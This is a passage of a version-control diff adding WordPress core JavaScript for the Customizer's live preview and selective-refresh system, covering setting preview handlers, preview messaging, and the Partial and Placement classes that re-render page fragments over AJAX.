+				urlParser.search = $.param( currentQueryParams );
+				urlParser.hash = '';
+				api.settings.url.self = urlParser.href;
+				api.preview.send( 'ready', {
+					currentUrl: api.settings.url.self,
+					activePanels: api.settings.activePanels,
+					activeSections: api.settings.activeSections,
+					activeControls: api.settings.activeControls,
+					settingValidities: api.settings.settingValidities
+				} );
+			} else {
+				api.preview.send( 'keep-alive' );
+			}
+			previousQueryParams = currentQueryParams;
+			previousQueryString = location.search.substr( 1 );
+			previousPathName = location.pathname;
+		};
+	} )();
+
+	api.settingPreviewHandlers = {
+
+		/**
+		 * Preview changes to custom logo.
+		 *
+		 * @param {number} attachmentId Attachment ID for custom logo.
+		 * @returns {void}
+		 */
+		custom_logo: function( attachmentId ) {
+			$( 'body' ).toggleClass( 'wp-custom-logo', !! attachmentId );
+		},
+
+		/**
+		 * Preview changes to custom css.
+		 *
+		 * @param {string} value Custom CSS..
+		 * @returns {void}
+		 */
+		custom_css: function( value ) {
+			$( '#wp-custom-css' ).text( value );
+		},
+
+		/**
+		 * Preview changes to any of the background settings.
+		 *
+		 * @returns {void}
+		 */
+		background: function() {
+			var css = '', settings = {};
+
+			_.each( ['color', 'image', 'preset', 'position_x', 'position_y', 'size', 'repeat', 'attachment'], function( prop ) {
+				settings[ prop ] = api( 'background_' + prop );
+			} );
+
+			/*
+			 * The body will support custom backgrounds if either the color or image are set.
+			 *
+			 * See get_body_class() in /wp-includes/post-template.php
+			 */
+			$( document.body ).toggleClass( 'custom-background', !! ( settings.color() || settings.image() ) );
+
+			if ( settings.color() ) {
+				css += 'background-color: ' + settings.color() + ';';
+			}
+
+			if ( settings.image() ) {
+				css += 'background-image: url("' + settings.image() + '");';
+				css += 'background-size: ' + settings.size() + ';';
+				css += 'background-position: ' + settings.position_x() + ' ' + settings.position_y() + ';';
+				css += 'background-repeat: ' + settings.repeat() + ';';
+				css += 'background-attachment: ' + settings.attachment() + ';';
+			}
+
+			$( '#custom-background-css' ).text( 'body.custom-background { ' + css + ' }' );
+		}
+	};
+
+	$( function() {
+		var bg, setValue, handleUpdatedChangesetUuid;
+
+		api.settings = window._wpCustomizeSettings;
+		if ( ! api.settings ) {
+			return;
+		}
+
+		api.preview = new api.Preview({
+			url: window.location.href,
+			channel: api.settings.channel
+		});
+
+		api.addLinkPreviewing();
+		api.addRequestPreviewing();
+		api.addFormPreviewing();
+
+		/**
+		 * Create/update a setting value.
+		 *
+		 * @param {string}  id            - Setting ID.
+		 * @param {*}       value         - Setting value.
+		 * @param {boolean} [createDirty] - Whether to create a setting as dirty. Defaults to false.
+		 */
+		setValue = function( id, value, createDirty ) {
+			var setting = api( id );
+			if ( setting ) {
+				setting.set( value );
+			} else {
+				createDirty = createDirty || false;
+				setting = api.create( id, value, {
+					id: id
+				} );
+
+				// Mark dynamically-created settings as dirty so they will get posted.
+				if ( createDirty ) {
+					setting._dirty = true;
+				}
+			}
+		};
+
+		api.preview.bind( 'settings', function( values ) {
+			$.each( values, setValue );
+		});
+
+		api.preview.trigger( 'settings', api.settings.values );
+
+		$.each( api.settings._dirty, function( i, id ) {
+			var setting = api( id );
+			if ( setting ) {
+				setting._dirty = true;
+			}
+		} );
+
+		api.preview.bind( 'setting', function( args ) {
+			var createDirty = true;
+			setValue.apply( null, args.concat( createDirty ) );
+		});
+
+		api.preview.bind( 'sync', function( events ) {
+
+			/*
+			 * Delete any settings that already exist locally which haven't been
+			 * modified in the controls while the preview was loading. This prevents
+			 * situations where the JS value being synced from the pane may differ
+			 * from the PHP-sanitized JS value in the preview which causes the
+			 * non-sanitized JS value to clobber the PHP-sanitized value. This
+			 * is particularly important for selective refresh partials that
+			 * have a fallback refresh behavior since infinite refreshing would
+			 * result.
+			 */
+			if ( events.settings && events['settings-modified-while-loading'] ) {
+				_.each( _.keys( events.settings ), function( syncedSettingId ) {
+					if ( api.has( syncedSettingId ) && ! events['settings-modified-while-loading'][ syncedSettingId ] ) {
+						delete events.settings[ syncedSettingId ];
+					}
+				} );
+			}
+
+			$.each( events, function( event, args ) {
+				api.preview.trigger( event, args );
+			});
+			api.preview.send( 'synced' );
+		});
+
+		api.preview.bind( 'active', function() {
+			api.preview.send( 'nonce', api.settings.nonce );
+
+			api.preview.send( 'documentTitle', document.title );
+
+			// Send scroll in case of loading via non-refresh.
+			api.preview.send( 'scroll', $( window ).scrollTop() );
+		});
+
+		/**
+		 * Handle update to changeset UUID.
+		 *
+		 * @param {string} uuid - UUID.
+		 * @returns {void}
+		 */
+		handleUpdatedChangesetUuid = function( uuid ) {
+			api.settings.changeset.uuid = uuid;
+
+			// Update UUIDs in links and forms.
+			$( document.body ).find( 'a[href], area' ).each( function() {
+				api.prepareLinkPreview( this );
+			} );
+			$( document.body ).find( 'form' ).each( function() {
+				api.prepareFormPreview( this );
+			} );
+
+			/*
+			 * Replace the UUID in the URL. Note that the wrapped history.replaceState()
+			 * will handle injecting the current api.settings.changeset.uuid into the URL,
+			 * so this is merely to trigger that logic.
+			 */
+			if ( history.replaceState ) {
+				history.replaceState( currentHistoryState, '', location.href );
+			}
+		};
+
+		api.preview.bind( 'changeset-uuid', handleUpdatedChangesetUuid );
+
+		api.preview.bind( 'saved', function( response ) {
+			if ( response.next_changeset_uuid ) {
+				handleUpdatedChangesetUuid( response.next_changeset_uuid );
+			}
+			api.trigger( 'saved', response );
+		} );
+
+		// Update the URLs to reflect the fact we've started autosaving.
+		api.preview.bind( 'autosaving', function() {
+			if ( api.settings.changeset.autosaved ) {
+				return;
+			}
+
+			api.settings.changeset.autosaved = true; // Start deferring to any autosave once changeset is updated.
+
+			$( document.body ).find( 'a[href], area' ).each( function() {
+				api.prepareLinkPreview( this );
+			} );
+			$( document.body ).find( 'form' ).each( function() {
+				api.prepareFormPreview( this );
+			} );
+			if ( history.replaceState ) {
+				history.replaceState( currentHistoryState, '', location.href );
+			}
+		} );
+
+		/*
+		 * Clear dirty flag for settings when saved to changeset so that they
+		 * won't be needlessly included in selective refresh or ajax requests.
+		 */
+		api.preview.bind( 'changeset-saved', function( data ) {
+			_.each( data.saved_changeset_values, function( value, settingId ) {
+				var setting = api( settingId );
+				if ( setting && _.isEqual( setting.get(), value ) ) {
+					setting._dirty = false;
+				}
+			} );
+		} );
+
+		api.preview.bind( 'nonce-refresh', function( nonce ) {
+			$.extend( api.settings.nonce, nonce );
+		} );
+
+		/*
+		 * Send a message to the parent customize frame with a list of which
+		 * containers and controls are active.
+		 */
+		api.preview.send( 'ready', {
+			currentUrl: api.settings.url.self,
+			activePanels: api.settings.activePanels,
+			activeSections: api.settings.activeSections,
+			activeControls: api.settings.activeControls,
+			settingValidities: api.settings.settingValidities
+		} );
+
+		// Send ready when URL changes via JS.
+		setInterval( api.keepAliveCurrentUrl, api.settings.timeouts.keepAliveSend );
+
+		// Display a loading indicator when preview is reloading, and remove on failure.
+		api.preview.bind( 'loading-initiated', function () {
+			$( 'body' ).addClass( 'wp-customizer-unloading' );
+		});
+		api.preview.bind( 'loading-failed', function () {
+			$( 'body' ).removeClass( 'wp-customizer-unloading' );
+		});
+
+		/* Custom Backgrounds */
+		bg = $.map( ['color', 'image', 'preset', 'position_x', 'position_y', 'size', 'repeat', 'attachment'], function( prop ) {
+			return 'background_' + prop;
+		} );
+
+		api.when.apply( api, bg ).done( function() {
+			$.each( arguments, function() {
+				this.bind( api.settingPreviewHandlers.background );
+			});
+		});
+
+		/**
+		 * Custom Logo
+		 *
+		 * Toggle the wp-custom-logo body class when a logo is added or removed.
+		 *
+		 * @since 4.5.0
+		 */
+		api( 'custom_logo', function ( setting ) {
+			api.settingPreviewHandlers.custom_logo.call( setting, setting.get() );
+			setting.bind( api.settingPreviewHandlers.custom_logo );
+		} );
+
+		api( 'custom_css[' + api.settings.theme.stylesheet + ']', function( setting ) {
+			setting.bind( api.settingPreviewHandlers.custom_css );
+		} );
+
+		api.trigger( 'preview-ready' );
+	});
+
+})( wp, jQuery );
Index: /tags/5.0.20/src/wp-includes/js/customize-selective-refresh.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/customize-selective-refresh.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/customize-selective-refresh.js	(revision 56912)
@@ -0,0 +1,1062 @@
+/* global jQuery, JSON, _customizePartialRefreshExports, console */
+
+/** @namespace wp.customize.selectiveRefresh */
+wp.customize.selectiveRefresh = ( function( $, api ) {
+	'use strict';
+	var self, Partial, Placement;
+
+	self = {
+		ready: $.Deferred(),
+		editShortcutVisibility: new api.Value(),
+		data: {
+			partials: {},
+			renderQueryVar: '',
+			l10n: {
+				shiftClickToEdit: ''
+			}
+		},
+		currentRequest: null
+	};
+
+	_.extend( self, api.Events );
+
+	/**
+	 * A Customizer Partial.
+	 *
+	 * A partial provides a rendering of one or more settings according to a template.
+	 *
+	 * @memberOf wp.customize.selectiveRefresh
+	 *
+	 * @see PHP class WP_Customize_Partial.
+	 *
+	 * @class
+	 * @augments wp.customize.Class
+	 * @since 4.5.0
+	 */
+	Partial = self.Partial = api.Class.extend(/** @lends wp.customize.SelectiveRefresh.Partial.prototype */{
+
+		id: null,
+
+		/**
+		 * Default params.
+		 *
+		 * @since 4.9.0
+		 * @var {object}
+		 */
+		defaults: {
+			selector: null,
+			primarySetting: null,
+			containerInclusive: false,
+			fallbackRefresh: true // Note this needs to be false in a front-end editing context.
+		},
+
+		/**
+		 * Constructor.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @param {string} id                      - Unique identifier for the partial instance.
+		 * @param {object} options                 - Options hash for the partial instance.
+		 * @param {string} options.type            - Type of partial (e.g. nav_menu, widget, etc)
+		 * @param {string} options.selector        - jQuery selector to find the container element in the page.
+		 * @param {array}  options.settings        - The IDs for the settings the partial relates to.
+		 * @param {string} options.primarySetting  - The ID for the primary setting the partial renders.
+		 * @param {bool}   options.fallbackRefresh - Whether to refresh the entire preview in case of a partial refresh failure.
+		 * @param {object} [options.params]        - Deprecated wrapper for the above properties.
+		 */
+		initialize: function( id, options ) {
+			var partial = this;
+			options = options || {};
+			partial.id = id;
+
+			partial.params = _.extend(
+				{
+					settings: []
+				},
+				partial.defaults,
+				options.params || options
+			);
+
+			partial.deferred = {};
+			partial.deferred.ready = $.Deferred();
+
+			partial.deferred.ready.done( function() {
+				partial.ready();
+			} );
+		},
+
+		/**
+		 * Set up the partial.
+		 *
+		 * @since 4.5.0
+		 */
+		ready: function() {
+			var partial = this;
+			_.each( partial.placements(), function( placement ) {
+				$( placement.container ).attr( 'title', self.data.l10n.shiftClickToEdit );
+				partial.createEditShortcutForPlacement( placement );
+			} );
+			$( document ).on( 'click', partial.params.selector, function( e ) {
+				if ( ! e.shiftKey ) {
+					return;
+				}
+				e.preventDefault();
+				_.each( partial.placements(), function( placement ) {
+					if ( $( placement.container ).is( e.currentTarget ) ) {
+						partial.showControl();
+					}
+				} );
+			} );
+		},
+
+		/**
+		 * Create and show the edit shortcut for a given partial placement container.
+		 *
+		 * @since 4.7.0
+		 * @access public
+		 *
+		 * @param {Placement} placement The placement container element.
+		 * @returns {void}
+		 */
+		createEditShortcutForPlacement: function( placement ) {
+			var partial = this, $shortcut, $placementContainer, illegalAncestorSelector, illegalContainerSelector;
+			if ( ! placement.container ) {
+				return;
+			}
+			$placementContainer = $( placement.container );
+			illegalAncestorSelector = 'head';
+			illegalContainerSelector = 'area, audio, base, bdi, bdo, br, button, canvas, col, colgroup, command, datalist, embed, head, hr, html, iframe, img, input, keygen, label, link, map, math, menu, meta, noscript, object, optgroup, option, param, progress, rp, rt, ruby, script, select, source, style, svg, table, tbody, textarea, tfoot, thead, title, tr, track, video, wbr';
+			if ( ! $placementContainer.length || $placementContainer.is( illegalContainerSelector ) || $placementContainer.closest( illegalAncestorSelector ).length ) {
+				return;
+			}
+			$shortcut = partial.createEditShortcut();
+			$shortcut.on( 'click', function( event ) {
+				event.preventDefault();
+				event.stopPropagation();
+				partial.showControl();
+			} );
+			partial.addEditShortcutToPlacement( placement, $shortcut );
+		},
+
+		/**
+		 * Add an edit shortcut to the placement container.
+		 *
+		 * @since 4.7.0
+		 * @access public
+		 *
+		 * @param {Placement} placement The placement for the partial.
+		 * @param {jQuery} $editShortcut The shortcut element as a jQuery object.
+		 * @returns {void}
+		 */
+		addEditShortcutToPlacement: function( placement, $editShortcut ) {
+			var $placementContainer = $( placement.container );
+			$placementContainer.prepend( $editShortcut );
+			if ( ! $placementContainer.is( ':visible' ) || 'none' === $placementContainer.css( 'display' ) ) {
+				$editShortcut.addClass( 'customize-partial-edit-shortcut-hidden' );
+			}
+		},
+
+		/**
+		 * Return the unique class name for the edit shortcut button for this partial.
+		 *
+		 * @since 4.7.0
+		 * @access public
+		 *
+		 * @return {string} Partial ID converted into a class name for use in shortcut.
+		 */
+		getEditShortcutClassName: function() {
+			var partial = this, cleanId;
+			cleanId = partial.id.replace( /]/g, '' ).replace( /\[/g, '-' );
+			return 'customize-partial-edit-shortcut-' + cleanId;
+		},
+
+		/**
+		 * Return the appropriate translated string for the edit shortcut button.
+		 *
+		 * @since 4.7.0
+		 * @access public
+		 *
+		 * @return {string} Tooltip for edit shortcut.
+		 */
+		getEditShortcutTitle: function() {
+			var partial = this, l10n = self.data.l10n;
+			switch ( partial.getType() ) {
+				case 'widget':
+					return l10n.clickEditWidget;
+				case 'blogname':
+					return l10n.clickEditTitle;
+				case 'blogdescription':
+					return l10n.clickEditTitle;
+				case 'nav_menu':
+					return l10n.clickEditMenu;
+				default:
+					return l10n.clickEditMisc;
+			}
+		},
+
+		/**
+		 * Return the type of this partial
+		 *
+		 * Will use `params.type` if set, but otherwise will try to infer type from settingId.
+		 *
+		 * @since 4.7.0
+		 * @access public
+		 *
+		 * @return {string} Type of partial derived from type param or the related setting ID.
+		 */
+		getType: function() {
+			var partial = this, settingId;
+			settingId = partial.params.primarySetting || _.first( partial.settings() ) || 'unknown';
+			if ( partial.params.type ) {
+				return partial.params.type;
+			}
+			if ( settingId.match( /^nav_menu_instance\[/ ) ) {
+				return 'nav_menu';
+			}
+			if ( settingId.match( /^widget_.+\[\d+]$/ ) ) {
+				return 'widget';
+			}
+			return settingId;
+		},
+
+		/**
+		 * Create an edit shortcut button for this partial.
+		 *
+		 * @since 4.7.0
+		 * @access public
+		 *
+		 * @return {jQuery} The edit shortcut button element.
+		 */
+		createEditShortcut: function() {
+			var partial = this, shortcutTitle, $buttonContainer, $button, $image;
+			shortcutTitle = partial.getEditShortcutTitle();
+			$buttonContainer = $( '<span>', {
+				'class': 'customize-partial-edit-shortcut ' + partial.getEditShortcutClassName()
+			} );
+			$button = $( '<button>', {
+				'aria-label': shortcutTitle,
+				'title': shortcutTitle,
+				'class': 'customize-partial-edit-shortcut-button'
+			} );
+			$image = $( '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 20 20"><path d="M13.89 3.39l2.71 2.72c.46.46.42 1.24.03 1.64l-8.01 8.02-5.56 1.16 1.16-5.58s7.6-7.63 7.99-8.03c.39-.39 1.22-.39 1.68.07zm-2.73 2.79l-5.59 5.61 1.11 1.11 5.54-5.65zm-2.97 8.23l5.58-5.6-1.07-1.08-5.59 5.6z"/></svg>' );
+			$button.append( $image );
+			$buttonContainer.append( $button );
+			return $buttonContainer;
+		},
+
+		/**
+		 * Find all placements for this partial int he document.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @return {Array.<Placement>}
+		 */
+		placements: function() {
+			var partial = this, selector;
+
+			selector = partial.params.selector || '';
+			if ( selector ) {
+				selector += ', ';
+			}
+			selector += '[data-customize-partial-id="' + partial.id + '"]'; // @todo Consider injecting customize-partial-id-${id} classnames instead.
+
+			return $( selector ).map( function() {
+				var container = $( this ), context;
+
+				context = container.data( 'customize-partial-placement-context' );
+				if ( _.isString( context ) && '{' === context.substr( 0, 1 ) ) {
+					throw new Error( 'context JSON parse error' );
+				}
+
+				return new Placement( {
+					partial: partial,
+					container: container,
+					context: context
+				} );
+			} ).get();
+		},
+
+		/**
+		 * Get list of setting IDs related to this partial.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @return {String[]}
+		 */
+		settings: function() {
+			var partial = this;
+			if ( partial.params.settings && 0 !== partial.params.settings.length ) {
+				return partial.params.settings;
+			} else if ( partial.params.primarySetting ) {
+				return [ partial.params.primarySetting ];
+			} else {
+				return [ partial.id ];
+			}
+		},
+
+		/**
+		 * Return whether the setting is related to the partial.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @param {wp.customize.Value|string} setting  ID or object for setting.
+		 * @return {boolean} Whether the setting is related to the partial.
+		 */
+		isRelatedSetting: function( setting /*... newValue, oldValue */ ) {
+			var partial = this;
+			if ( _.isString( setting ) ) {
+				setting = api( setting );
+			}
+			if ( ! setting ) {
+				return false;
+			}
+			return -1 !== _.indexOf( partial.settings(), setting.id );
+		},
+
+		/**
+		 * Show the control to modify this partial's setting(s).
+		 *
+		 * This may be overridden for inline editing.
+		 *
+		 * @since 4.5.0
+		 */
+		showControl: function() {
+			var partial = this, settingId = partial.params.primarySetting;
+			if ( ! settingId ) {
+				settingId = _.first( partial.settings() );
+			}
+			if ( partial.getType() === 'nav_menu' ) {
+				if ( partial.params.navMenuArgs.theme_location ) {
+					settingId = 'nav_menu_locations[' + partial.params.navMenuArgs.theme_location + ']';
+				} else if ( partial.params.navMenuArgs.menu )   {
+					settingId = 'nav_menu[' + String( partial.params.navMenuArgs.menu ) + ']';
+				}
+			}
+			api.preview.send( 'focus-control-for-setting', settingId );
+		},
+
+		/**
+		 * Prepare container for selective refresh.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @param {Placement} placement
+		 */
+		preparePlacement: function( placement ) {
+			$( placement.container ).addClass( 'customize-partial-refreshing' );
+		},
+
+		/**
+		 * Reference to the pending promise returned from self.requestPartial().
+		 *
+		 * @since 4.5.0
+		 * @private
+		 */
+		_pendingRefreshPromise: null,
+
+		/**
+		 * Request the new partial and render it into the placements.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @this {wp.customize.selectiveRefresh.Partial}
+		 * @return {jQuery.Promise}
+		 */
+		refresh: function() {
+			var partial = this, refreshPromise;
+
+			refreshPromise = self.requestPartial( partial );
+
+			if ( ! partial._pendingRefreshPromise ) {
+				_.each( partial.placements(), function( placement ) {
+					partial.preparePlacement( placement );
+				} );
+
+				refreshPromise.done( function( placements ) {
+					_.each( placements, function( placement ) {
+						partial.renderContent( placement );
+					} );
+				} );
+
+				refreshPromise.fail( function( data, placements ) {
+					partial.fallback( data, placements );
+				} );
+
+				// Allow new request when this one finishes.
+				partial._pendingRefreshPromise = refreshPromise;
+				refreshPromise.always( function() {
+					partial._pendingRefreshPromise = null;
+				} );
+			}
+
+			return refreshPromise;
+		},
+
+		/**
+		 * Apply the addedContent in the placement to the document.
+		 *
+		 * Note the placement object will have its container and removedNodes
+		 * properties updated.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @param {Placement}             placement
+		 * @param {Element|jQuery}        [placement.container]  - This param will be empty if there was no element matching the selector.
+		 * @param {string|object|boolean} placement.addedContent - Rendered HTML content, a data object for JS templates to render, or false if no render.
+		 * @param {object}                [placement.context]    - Optional context information about the container.
+		 * @returns {boolean} Whether the rendering was successful and the fallback was not invoked.
+		 */
+		renderContent: function( placement ) {
+			var partial = this, content, newContainerElement;
+			if ( ! placement.container ) {
+				partial.fallback( new Error( 'no_container' ), [ placement ] );
+				return false;
+			}
+			placement.container = $( placement.container );
+			if ( false === placement.addedContent ) {
+				partial.fallback( new Error( 'missing_render' ), [ placement ] );
+				return false;
+			}
+
+			// Currently a subclass needs to override renderContent to handle partials returning data object.
+			if ( ! _.isString( placement.addedContent ) ) {
+				partial.fallback( new Error( 'non_string_content' ), [ placement ] );
+				return false;
+			}
+
+			/* jshint ignore:start */
+			self.orginalDocumentWrite = document.write;
+			document.write = function() {
+				throw new Error( self.data.l10n.badDocumentWrite );
+			};
+			/* jshint ignore:end */
+			try {
+				content = placement.addedContent;
+				if ( wp.emoji && wp.emoji.parse && ! $.contains( document.head, placement.container[0] ) ) {
+					content = wp.emoji.parse( content );
+				}
+
+				if ( partial.params.containerInclusive ) {
+
+					// Note that content may be an empty string, and in this case jQuery will just remove the oldContainer
+					newContainerElement = $( content );
+
+					// Merge the new context on top of the old context.
+					placement.context = _.extend(
+						placement.context,
+						newContainerElement.data( 'customize-partial-placement-context' ) || {}
+					);
+					newContainerElement.data( 'customize-partial-placement-context', placement.context );
+
+					placement.removedNodes = placement.container;
+					placement.container = newContainerElement;
+					placement.removedNodes.replaceWith( placement.container );
+					placement.container.attr( 'title', self.data.l10n.shiftClickToEdit );
+				} else {
+					placement.removedNodes = document.createDocumentFragment();
+					while ( placement.container[0].firstChild ) {
+						placement.removedNodes.appendChild( placement.container[0].firstChild );
+					}
+
+					placement.container.html( content );
+				}
+
+				placement.container.removeClass( 'customize-render-content-error' );
+			} catch ( error ) {
+				if ( 'undefined' !== typeof console && console.error ) {
+					console.error( partial.id, error );
+				}
+				partial.fallback( error, [ placement ] );
+			}
+			/* jshint ignore:start */
+			document.write = self.orginalDocumentWrite;
+			self.orginalDocumentWrite = null;
+			/* jshint ignore:end */
+
+			partial.createEditShortcutForPlacement( placement );
+			placement.container.removeClass( 'customize-partial-refreshing' );
+
+			// Prevent placement container from being re-triggered as being rendered among nested partials.
+			placement.container.data( 'customize-partial-content-rendered', true );
+
+			/*
+			 * Note that the 'wp_audio_shortcode_library' and 'wp_video_shortcode_library' filters
+			 * will determine whether or not wp.mediaelement is loaded and whether it will
+			 * initialize audio and video respectively. See also https://core.trac.wordpress.org/ticket/40144
+			 */
+			if ( wp.mediaelement ) {
+				wp.mediaelement.initialize();
+			}
+
+			if ( wp.playlist ) {
+				wp.playlist.initialize();
+			}
+
+			/**
+			 * Announce when a partial's placement has been rendered so that dynamic elements can be re-built.
+			 */
+			self.trigger( 'partial-content-rendered', placement );
+			return true;
+		},
+
+		/**
+		 * Handle fail to render partial.
+		 *
+		 * The first argument is either the failing jqXHR or an Error object, and the second argument is the array of containers.
+		 *
+		 * @since 4.5.0
+		 */
+		fallback: function() {
+			var partial = this;
+			if ( partial.params.fallbackRefresh ) {
+				self.requestFullRefresh();
+			}
+		}
+	} );
+
+	/**
+	 * A Placement for a Partial.
+	 *
+	 * A partial placement is the actual physical representation of a partial for a given context.
+	 * It also may have information in relation to how a placement may have just changed.
+	 * The placement is conceptually similar to a DOM Range or MutationRecord.
+	 *
+	 * @memberOf wp.customize.selectiveRefresh
+	 *
+	 * @class Placement
+	 * @augments wp.customize.Class
+	 * @since 4.5.0
+	 */
+	self.Placement = Placement = api.Class.extend(/** @lends wp.customize.selectiveRefresh.prototype */{
+
+		/**
+		 * The partial with which the container is associated.
+		 *
+		 * @param {wp.customize.selectiveRefresh.Partial}
+		 */
+		partial: null,
+
+		/**
+		 * DOM element which contains the placement's contents.
+		 *
+		 * This will be null if the startNode and endNode do not point to the same
+		 * DOM element, such as in the case of a sidebar partial.
+		 * This container element itself will be replaced for partials that
+		 * have containerInclusive param defined as true.
+		 */
+		container: null,
+
+		/**
+		 * DOM node for the initial boundary of the placement.
+		 *
+		 * This will normally be the same as endNode since most placements appear as elements.
+		 * This is primarily useful for widget sidebars which do not have intrinsic containers, but
+		 * for which an HTML comment is output before to mark the starting position.
+		 */
+		startNode: null,
+
+		/**
+		 * DOM node for the terminal boundary of the placement.
+		 *
+		 * This will normally be the same as startNode since most placements appear as elements.
+		 * This is primarily useful for widget sidebars which do not have intrinsic containers, but
+		 * for which an HTML comment is output before to mark the ending position.
+		 */
+		endNode: null,
+
+		/**
+		 * Context data.
+		 *
+		 * This provides information about the placement which is included in the request
+		 * in order to render the partial properly.
+		 *
+		 * @param {object}
+		 */
+		context: null,
+
+		/**
+		 * The content for the partial when refreshed.
+		 *
+		 * @param {string}
+		 */
+		addedContent: null,
+
+		/**
+		 * DOM node(s) removed when the partial is refreshed.
+		 *
+		 * If the partial is containerInclusive, then the removedNodes will be
+		 * the single Element that was the partial's former placement. If the
+		 * partial is not containerInclusive, then the removedNodes will be a
+		 * documentFragment containing the nodes removed.
+		 *
+		 * @param {Element|DocumentFragment}
+		 */
+		removedNodes: null,
+
+		/**
+		 * Constructor.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @param {object}                   args
+		 * @param {Partial}                  args.partial
+		 * @param {jQuery|Element}           [args.container]
+		 * @param {Node}                     [args.startNode]
+		 * @param {Node}                     [args.endNode]
+		 * @param {object}                   [args.context]
+		 * @param {string}                   [args.addedContent]
+		 * @param {jQuery|DocumentFragment}  [args.removedNodes]
+		 */
+		initialize: function( args ) {
+			var placement = this;
+
+			args = _.extend( {}, args || {} );
+			if ( ! args.partial || ! args.partial.extended( Partial ) ) {
+				throw new Error( 'Missing partial' );
+			}
+			args.context = args.context || {};
+			if ( args.container ) {
+				args.container = $( args.container );
+			}
+
+			_.extend( placement, args );
+		}
+
+	});
+
+	/**
+	 * Mapping of type names to Partial constructor subclasses.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @type {Object.<string, wp.customize.selectiveRefresh.Partial>}
+	 */
+	self.partialConstructor = {};
+
+	self.partial = new api.Values({ defaultConstructor: Partial });
+
+	/**
+	 * Get the POST vars for a Customizer preview request.
+	 *
+	 * @since 4.5.0
+	 * @see wp.customize.previewer.query()
+	 *
+	 * @return {object}
+	 */
+	self.getCustomizeQuery = function() {
+		var dirtyCustomized = {};
+		api.each( function( value, key ) {
+			if ( value._dirty ) {
+				dirtyCustomized[ key ] = value();
+			}
+		} );
+
+		return {
+			wp_customize: 'on',
+			nonce: api.settings.nonce.preview,
+			customize_theme: api.settings.theme.stylesheet,
+			customized: JSON.stringify( dirtyCustomized ),
+			customize_changeset_uuid: api.settings.changeset.uuid
+		};
+	};
+
+	/**
+	 * Currently-requested partials and their associated deferreds.
+	 *
+	 * @since 4.5.0
+	 * @type {Object<string, { deferred: jQuery.Promise, partial: wp.customize.selectiveRefresh.Partial }>}
+	 */
+	self._pendingPartialRequests = {};
+
+	/**
+	 * Timeout ID for the current requesr, or null if no request is current.
+	 *
+	 * @since 4.5.0
+	 * @type {number|null}
+	 * @private
+	 */
+	self._debouncedTimeoutId = null;
+
+	/**
+	 * Current jqXHR for the request to the partials.
+	 *
+	 * @since 4.5.0
+	 * @type {jQuery.jqXHR|null}
+	 * @private
+	 */
+	self._currentRequest = null;
+
+	/**
+	 * Request full page refresh.
+	 *
+	 * When selective refresh is embedded in the context of front-end editing, this request
+	 * must fail or else changes will be lost, unless transactions are implemented.
+	 *
+	 * @since 4.5.0
+	 */
+	self.requestFullRefresh = function() {
+		api.preview.send( 'refresh' );
+	};
+
+	/**
+	 * Request a re-rendering of a partial.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @param {wp.customize.selectiveRefresh.Partial} partial
+	 * @return {jQuery.Promise}
+	 */
+	self.requestPartial = function( partial ) {
+		var partialRequest;
+
+		if ( self._debouncedTimeoutId ) {
+			clearTimeout( self._debouncedTimeoutId );
+			self._debouncedTimeoutId = null;
+		}
+		if ( self._currentRequest ) {
+			self._currentRequest.abort();
+			self._currentRequest = null;
+		}
+
+		partialRequest = self._pendingPartialRequests[ partial.id ];
+		if ( ! partialRequest || 'pending' !== partialRequest.deferred.state() ) {
+			partialRequest = {
+				deferred: $.Deferred(),
+				partial: partial
+			};
+			self._pendingPartialRequests[ partial.id ] = partialRequest;
+		}
+
+		// Prevent leaking partial into debounced timeout callback.
+		partial = null;
+
+		self._debouncedTimeoutId = setTimeout(
+			function() {
+				var data, partialPlacementContexts, partialsPlacements, request;
+
+				self._debouncedTimeoutId = null;
+				data = self.getCustomizeQuery();
+
+				/*
+				 * It is key that the containers be fetched exactly at the point of the request being
+				 * made, because the containers need to be mapped to responses by array indices.
+				 */
+				partialsPlacements = {};
+
+				partialPlacementContexts = {};
+
+				_.each( self._pendingPartialRequests, function( pending, partialId ) {
+					partialsPlacements[ partialId ] = pending.partial.placements();
+					if ( ! self.partial.has( partialId ) ) {
+						pending.deferred.rejectWith( pending.partial, [ new Error( 'partial_removed' ), partialsPlacements[ partialId ] ] );
+					} else {
+						/*
+						 * Note that this may in fact be an empty array. In that case, it is the responsibility
+						 * of the Partial subclass instance to know where to inject the response, or else to
+						 * just issue a refresh (default behavior). The data being returned with each container
+						 * is the context information that may be needed to render certain partials, such as
+						 * the contained sidebar for rendering widgets or what the nav menu args are for a menu.
+						 */
+						partialPlacementContexts[ partialId ] = _.map( partialsPlacements[ partialId ], function( placement ) {
+							return placement.context || {};
+						} );
+					}
+				} );
+
+				data.partials = JSON.stringify( partialPlacementContexts );
+				data[ self.data.renderQueryVar ] = '1';
+
+				request = self._currentRequest = wp.ajax.send( null, {
+					data: data,
+					url: api.settings.url.self
+				} );
+
+				request.done( function( data ) {
+
+					/**
+					 * Announce the data returned from a request to render partials.
+					 *
+					 * The data is filtered on the server via customize_render_partials_response
+					 * so plugins can inject data from the server to be utilized
+					 * on the client via this event. Plugins may use this filter
+					 * to communicate script and style dependencies that need to get
+					 * injected into the page to support the rendered partials.
+					 * This is similar to the 'saved' event.
+					 */
+					self.trigger( 'render-partials-response', data );
+
+					// Relay errors (warnings) captured during rendering and relay to console.
+					if ( data.errors && 'undefined' !== typeof console && console.warn ) {
+						_.each( data.errors, function( error ) {
+							console.warn( error );
+						} );
+					}
+
+					/*
+					 * Note that data is an array of items that correspond to the array of
+					 * containers that were submitted in the request. So we zip up the
+					 * array of containers with the array of contents for those containers,
+					 * and send them into .
+					 */
+					_.each( self._pendingPartialRequests, function( pending, partialId ) {
+						var placementsContents;
+						if ( ! _.isArray( data.contents[ partialId ] ) ) {
+							pending.deferred.rejectWith( pending.partial, [ new Error( 'unrecognized_partial' ), partialsPlacements[ partialId ] ] );
+						} else {
